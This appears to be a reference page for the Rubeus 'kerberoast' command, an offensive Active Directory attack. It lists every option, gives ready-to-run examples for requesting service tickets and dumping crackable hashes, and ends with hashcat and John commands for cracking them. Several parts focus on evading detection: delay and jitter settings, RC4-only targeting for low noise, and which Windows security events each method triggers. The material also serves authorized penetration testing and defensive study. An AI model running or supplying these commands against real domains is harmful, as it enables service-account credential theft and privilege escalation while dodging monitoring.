kerberoast

Request service tickets for accounts with SPNs set and output crackable hashes. Replaces SharpRoast.

Usage

Rubeus.exe kerberoast [[/spn:"<spn>"] | [/spns:<file>]] [/user:<username>] [/domain:<domain>] [/dc:<dc-ip>] [/ou:"OU=..."] [/ldaps] [/nowrap] [/outfile:<output>] [/simple] [/aes] [/rc4opsec] [/tgtdeleg] [/ticket:<ticket>] [/stats] [/creduser:<domain>\<username>] [/credpassword:<password>] [/ldapfilter:<filter>] [/pwdsetafter:MM-dd-yyyy] [/pwdsetbefore:MM-dd-yyyy] [/resultlimit:<n>] [/delay:<ms>] [/jitter:<pct>] [/enterprise] [/autoenterprise] [/nopreauth:<username>]

Options

  • /spn:"<spn>" β€” target a single SPN
  • /spns:<file> β€” file or comma-separated list of SPNs
  • /user:<username> β€” roast a specific user
  • /domain:<domain> β€” target domain (default: current)
  • /dc:<dc-ip> β€” domain controller
  • /ou:"OU=..." β€” restrict to specific OU
  • /ldaps β€” use LDAPS (port 636) for queries
  • /outfile:<output> β€” write hashes to file
  • /simple β€” output hashes only, no metadata
  • /nowrap β€” don't line-wrap
  • /ticket:<ticket> β€” use existing TGT for roasting (no LDAP needed β€” works from non-domain-joined)
  • /tgtdeleg β€” get TGT via tgtdeleg trick; forces RC4 for AES accounts
  • /rc4opsec β€” use tgtdeleg, filter to RC4-only accounts (lowest noise)
  • /aes β€” target AES-enabled accounts, request AES tickets
  • /stats β€” show statistics only, no ticket requests
  • /creduser:<domain>\<username> β€” alternate LDAP credentials
  • /credpassword:<password> β€” password for alternate credentials
  • /ldapfilter:<filter> β€” append custom LDAP filter (e.g. admincount=1)
  • /pwdsetafter:MM-dd-yyyy β€” only accounts with password set after date
  • /pwdsetbefore:MM-dd-yyyy β€” only accounts with password set before date
  • /resultlimit:<n> β€” limit number of results
  • /delay:<ms> β€” milliseconds between TGS requests
  • /jitter:<pct> β€” % jitter on delay (1-100)
  • /enterprise β€” treat SPNs as enterprise principals (user@domain)
  • /autoenterprise β€” auto-retry with enterprise principal on SPN failure
  • /nopreauth:<username> β€” send AS-REQ instead of TGS-REQ (generates 4768 not 4769)

Opsec Comparison

Flag(s) Behavior
(none) KerberosRequestorSecurityToken method, highest supported enctype
/tgtdeleg GSS-API TGT, request RC4 for AES accounts
/ticket:<ticket> Use supplied TGT, request RC4
/rc4opsec tgtdeleg + filter to RC4-only accounts
/aes Request AES tickets via KerberosRequestorSecurityToken
/aes /tgtdeleg tgtdeleg + AES accounts + AES tickets
/nopreauth:<user> AS-REQ not TGS-REQ β€” 4768 vs 4769 events

Examples

# Roast all kerberoastable users (default)
Rubeus.exe kerberoast

# Roast all, output to file
Rubeus.exe kerberoast /outfile:<output>

# Roast specific user
Rubeus.exe kerberoast /user:<username> /simple /nowrap

# Roast with existing TGT (from non-domain-joined host)
Rubeus.exe kerberoast /ticket:<ticket> /spn:"<spn>" /dc:<dc-ip>

# Opsec roasting (RC4-only accounts, tgtdeleg TGT)
Rubeus.exe kerberoast /rc4opsec /nowrap

# AES roasting
Rubeus.exe kerberoast /aes /nowrap

# Custom LDAP filter (admin accounts only)
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

# Filter by password age, limit results
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5

# Rate-limited roasting
Rubeus.exe kerberoast /delay:5000 /jitter:30

# Cross-domain
Rubeus.exe kerberoast /domain:<domain> /nowrap

# With alternate creds
Rubeus.exe kerberoast /creduser:<domain>\<username> /credpassword:<password>

# Stats only (no ticket requests)
Rubeus.exe kerberoast /stats

# Nopreauth-based roasting (AS-REQ)
Rubeus.exe kerberoast /spn:"<spn>" /nopreauth:<username> /domain:<domain> /dc:<dc-ip>

Crack Hashes

# Hashcat
hashcat -m 13100 hashes.txt wordlist.txt    # RC4 ($krb5tgs$23$)
hashcat -m 19600 hashes.txt wordlist.txt    # AES128 ($krb5tgs$17$)
hashcat -m 19700 hashes.txt wordlist.txt    # AES256 ($krb5tgs$18$)

# John
john --wordlist=wordlist.txt hashes.txt